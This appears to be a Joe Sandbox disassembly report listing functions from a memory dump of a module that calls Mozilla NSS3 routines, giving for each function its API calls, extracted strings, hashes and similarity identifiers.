Part of subcall function 6C0A0F00: PR_NewLogModule.NSS3(clock,6C0A0936,FFFFE8AE,?,6C0316B7,00000000,?,6C0A0936,00000000,?,6C03204A), ref: 6C0A0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C1C8E7B
htons.WSOCK32(?), ref: 6C1C8EDB
PR_GetCurrentThread.NSS3 ref: 6C1C8F99
PR_GetCurrentThread.NSS3 ref: 6C1C910A

Strings

%u.%u.%u.%u, xrefs: 6C1C8E74

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 39c126ead62d8734ceaf4680e5a505e14ed9cd2dfa320d1c8a76c39731f9db1f
Instruction ID: 219ca1083b682131cb4704c28fa767f639e57e53b2f67621fd0ba5546e1783e9
Opcode Fuzzy Hash: 39c126ead62d8734ceaf4680e5a505e14ed9cd2dfa320d1c8a76c39731f9db1f
Instruction Fuzzy Hash: D402BC31B052518FEB14CF19C4B93A6BBB2EF73318F19825AE8914BA91C339D945C792

Uniqueness

Uniqueness Score: -1.00%

Function 6C1468E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C1468FC
PR_EnterMonitor.NSS3 ref: 6C146924

Part of subcall function 6C179090: TlsGetValue.KERNEL32 ref: 6C1790AB
Part of subcall function 6C179090: TlsGetValue.KERNEL32 ref: 6C1790C9
Part of subcall function 6C179090: EnterCriticalSection.KERNEL32 ref: 6C1790E5
Part of subcall function 6C179090: TlsGetValue.KERNEL32 ref: 6C179116
Part of subcall function 6C179090: LeaveCriticalSection.KERNEL32 ref: 6C17913F

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

PR_EnterMonitor.NSS3 ref: 6C14693E
TlsGetValue.KERNEL32 ref: 6C146977
TlsGetValue.KERNEL32 ref: 6C1469B8
PR_ExitMonitor.NSS3 ref: 6C146B1E
PR_ExitMonitor.NSS3 ref: 6C146B39
TlsGetValue.KERNEL32 ref: 6C146B62

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 8ab60b0b9aa4afc4bc328cee3f4f093505541c959d675a345ea4e9316e7aba65
Instruction ID: 9d5f1b7bb519463b0b76fb9243421a927cdc80e95241ed33481d807f361032ab
Opcode Fuzzy Hash: 8ab60b0b9aa4afc4bc328cee3f4f093505541c959d675a345ea4e9316e7aba65
Instruction Fuzzy Hash: 4C915DB4758208CFDB50CF2DC48465D7BA2FB8730CB62C659D884DBA19C779D982CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C1CCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1CD086
PR_Malloc.NSS3(00000001), ref: 6C1CD0B9
PR_Free.NSS3(?), ref: 6C1CD138

Strings

>, xrefs: 6C1CCF5B

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 1ca209594a4d09a430aeb8f4f18c4439a133de23464e74fa810c017965a452ae
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 58D13862B8164A0BEB14687C88B13EA779387B3374F594329F5219BBE5E61DCC438343

Uniqueness

Uniqueness Score: -1.00%

Function 6C16AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c29ffff607bb06cff3134a727b4b3cab019a8fd894a6648f7f13de1d4024163
Instruction ID: 848e304d34cb218ff7b104115b48ad9ebbd4e3fa7280b56395f550ef11856152
Opcode Fuzzy Hash: 9c29ffff607bb06cff3134a727b4b3cab019a8fd894a6648f7f13de1d4024163
Instruction Fuzzy Hash: 95F1F1B1F012258BDB04CF29C8493AA77F1AB5A308F15422EDD55E7F84EB7499A1CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 6C180C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807e3c3dc6d9f69fd635a876f9fa8214bc19f649ef26d670be42ea6348c0b127
Instruction ID: f8b6fd1c64ffe509bba44585746c911330e615af953df6a44a3c4ed804329dd7
Opcode Fuzzy Hash: 807e3c3dc6d9f69fd635a876f9fa8214bc19f649ef26d670be42ea6348c0b127
Instruction Fuzzy Hash: CA11E37470A3098FCB04DF18C8C466A77B2FF85368F1480ADD8198B701DB32E806CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C180D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 4599787ff166f6dc21fbba3392d18ffc67201d749d335957d8c01526f4596e3a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 43E0923A20B058A7DB148E09C450AA9739ADF95619FB5C57DCC5D9FA01D733F8038B81

Uniqueness

Uniqueness Score: -1.00%

Function 6C114C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114C5B
PR_smprintf.NSS3(6C1EAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C114CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C114CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C114D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C104F51,00000000), ref: 6C114D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C114D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C114DA2
free.MOZGLUE(?), ref: 6C114DB9
free.MOZGLUE(00000000), ref: 6C114DCF

Strings

ootT, xrefs: 6C114D1A
timeout, xrefs: 6C114C91
any, xrefs: 6C114C96
every, xrefs: 6C114CA1
0x%08lx=[%s %s], xrefs: 6C114D80
rootFlags, xrefs: 6C114D47
slotFlags, xrefs: 6C114D34
%s,%s, xrefs: 6C114C4B
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C114D9D
rust, xrefs: 6C114D22

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a491f5d453dccfc550dde46bbb21de584d8bc9f092656b33fe2d6e786ab3816c
Instruction ID: 7a418d5113c81e4e2e27a438056739350fb0743573b55029fa7702e868fc1ad7
Opcode Fuzzy Hash: a491f5d453dccfc550dde46bbb21de584d8bc9f092656b33fe2d6e786ab3816c
Instruction Fuzzy Hash: BD41ABB1E1414167EF119F189C45BBA3A64AFA6B0CF084138EC0A9BF41E738D924C7E3

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F6910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C0F6943

Part of subcall function 6C114210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,4FF4C358,flags,?,00000000,?,6C0F5947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C114220
Part of subcall function 6C114210: NSSUTIL_ArgGetParamValue.NSS3(?,6C0F5947,?,?,?,?,?,?,00000000,?,00000000,?,6C0F7703,?,00000000,00000000), ref: 6C11422D
Part of subcall function 6C114210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C0F7703), ref: 6C11424B
Part of subcall function 6C114210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C0F7703,?,00000000), ref: 6C114272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C0F6957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C0F6972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C0F6983

Part of subcall function 6C113EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C0EC79F,?,6C0F6247,70E85609,?,?,6C0EC79F,6C0F781D,?,6C0EBD52,00000001,70E85609,D85D8B04,?), ref: 6C113EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C0F69AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C0F69BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C0F69D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C0F69DF

Part of subcall function 6C114020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,766B4C80,?,6C1150B7,?), ref: 6C114041

free.MOZGLUE(00000000), ref: 6C0F69F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C0F6A04
free.MOZGLUE(00000000), ref: 6C0F6A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C0F6A29
free.MOZGLUE(00000000), ref: 6C0F6A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C0F6A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C0F6A5B

Strings

readOnly, xrefs: 6C0F693D
nokeydb, xrefs: 6C0F6968
flags, xrefs: 6C0F6937, 6C0F6942, 6C0F6956, 6C0F696D
configdir=, xrefs: 6C0F69A4
nocertdb, xrefs: 6C0F6951
certPrefix=, xrefs: 6C0F69B8
keyPrefix=, xrefs: 6C0F69CC

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: d7413d504867ebf764257a5b9b67c9dca8b18907e0ed0cea5fad3694b10f3632
Instruction ID: a40588c9773cd46bde786d394a6e182849e4afe10c2451dcbe8b747aa38298ac
Opcode Fuzzy Hash: d7413d504867ebf764257a5b9b67c9dca8b18907e0ed0cea5fad3694b10f3632
Instruction Fuzzy Hash: 2C4181F5A442056BE700DB64AC85B9B7AEC9F0524CF180430ED16E6B42F735DA59CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0E08F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6C0E094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C0E0953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6C0E096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6C0E0974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C0E098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6C0E0995

Part of subcall function 6C0E1800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C0E1860
Part of subcall function 6C0E1800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6C0E09BF), ref: 6C0E1897
Part of subcall function 6C0E1800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C0E18AA
Part of subcall function 6C0E1800: memcpy.VCRUNTIME140(?,?,?), ref: 6C0E18C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C0E0B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C0E0B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6C0E0B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6C0E0B78

Strings

key, xrefs: 6C0E0ACB
info_hash, xrefs: 6C0E09E0
base_nonce, xrefs: 6C0E0B06
psk_id_hash, xrefs: 6C0E09B5
exp, xrefs: 6C0E0B36
secret, xrefs: 6C0E0A88

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 7da134fd85016add97ff423c3edac1ae3e0e36a9a60dd104bb4bbbe3142318a7
Instruction ID: 0ccf8871243d0e943587e5f48e717c582c65c405673a293668b58469837451a2
Opcode Fuzzy Hash: 7da134fd85016add97ff423c3edac1ae3e0e36a9a60dd104bb4bbbe3142318a7
Instruction Fuzzy Hash: 58817C75608345AFD700CF54C880A9AF7E9FF8C608F048919F95997752EB31EA19CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C0F2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C0F2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C0F2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C0F2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C0C4F1C,?,-00000001,00000000,?), ref: 6C0F2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C0C4F1C,?,-00000001,00000000), ref: 6C0F2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C0F2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C0F2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C0F2EF8
PR_Unlock.NSS3(?), ref: 6C0F2F62
TlsGetValue.KERNEL32 ref: 6C0F2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C0F2F9E
PR_Unlock.NSS3(?), ref: 6C0F2FCA
TlsGetValue.KERNEL32 ref: 6C0F301A
EnterCriticalSection.KERNEL32(?), ref: 6C0F302E
PR_Unlock.NSS3(?), ref: 6C0F3066
PR_SetError.NSS3(00000000,00000000), ref: 6C0F3085
PR_Unlock.NSS3(?), ref: 6C0F30EC
TlsGetValue.KERNEL32 ref: 6C0F310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C0F3124
PR_Unlock.NSS3(?), ref: 6C0F314C

Part of subcall function 6C0D9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C10379E,?,6C0D9568,00000000,?,6C10379E,?,00000001,?), ref: 6C0D918D
Part of subcall function 6C0D9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C10379E,?,6C0D9568,00000000,?,6C10379E,?,00000001,?), ref: 6C0D91A0

Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07AD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07CD
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C03204A), ref: 6C0A07D6
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C03204A), ref: 6C0A07E4
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,6C03204A), ref: 6C0A0864
Part of subcall function 6C0A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C0A0880
Part of subcall function 6C0A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C03204A), ref: 6C0A08CB
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08D7
Part of subcall function 6C0A07A0: TlsGetValue.KERNEL32(?,?,6C03204A), ref: 6C0A08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C0F316D

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 1c146f97f88dc932ae15058389886dba87b1c1ccaec159a8b8a2733705cedf1a
Instruction ID: bfb13b5f72d7b3316afd3dd21eca129cecd9fd07081b5aa4f426ab521bd48a42
Opcode Fuzzy Hash: 1c146f97f88dc932ae15058389886dba87b1c1ccaec159a8b8a2733705cedf1a
Instruction Fuzzy Hash: 0CF19DB1E002089FDF00DF64D849B9DBBF4BF09318F544169EC25A7751EB31A996CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0F6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C0F6943
Part of subcall function 6C0F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C0F6957
Part of subcall function 6C0F6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C0F6972
Part of subcall function 6C0F6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C0F6983
Part of subcall function 6C0F6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C0F69AA
Part of subcall function 6C0F6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C0F69BE
Part of subcall function 6C0F6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C0F69D2
Part of subcall function 6C0F6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C0F69DF
Part of subcall function 6C0F6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C0F6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C0F6D8C
free.MOZGLUE(00000000), ref: 6C0F6DC5
free.MOZGLUE(?), ref: 6C0F6DD6
free.MOZGLUE(?), ref: 6C0F6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C0F6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C0F6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C0F6E72
free.MOZGLUE(?), ref: 6C0F6EA7
free.MOZGLUE(?), ref: 6C0F6EC4
free.MOZGLUE(?), ref: 6C0F6ED5
free.MOZGLUE(00000000), ref: 6C0F6EE3
free.MOZGLUE(?), ref: 6C0F6EF4
free.MOZGLUE(?), ref: 6C0F6F08
free.MOZGLUE(00000000), ref: 6C0F6F35
free.MOZGLUE(?), ref: 6C0F6F44
free.MOZGLUE(?), ref: 6C0F6F5B
free.MOZGLUE(00000000), ref: 6C0F6F65

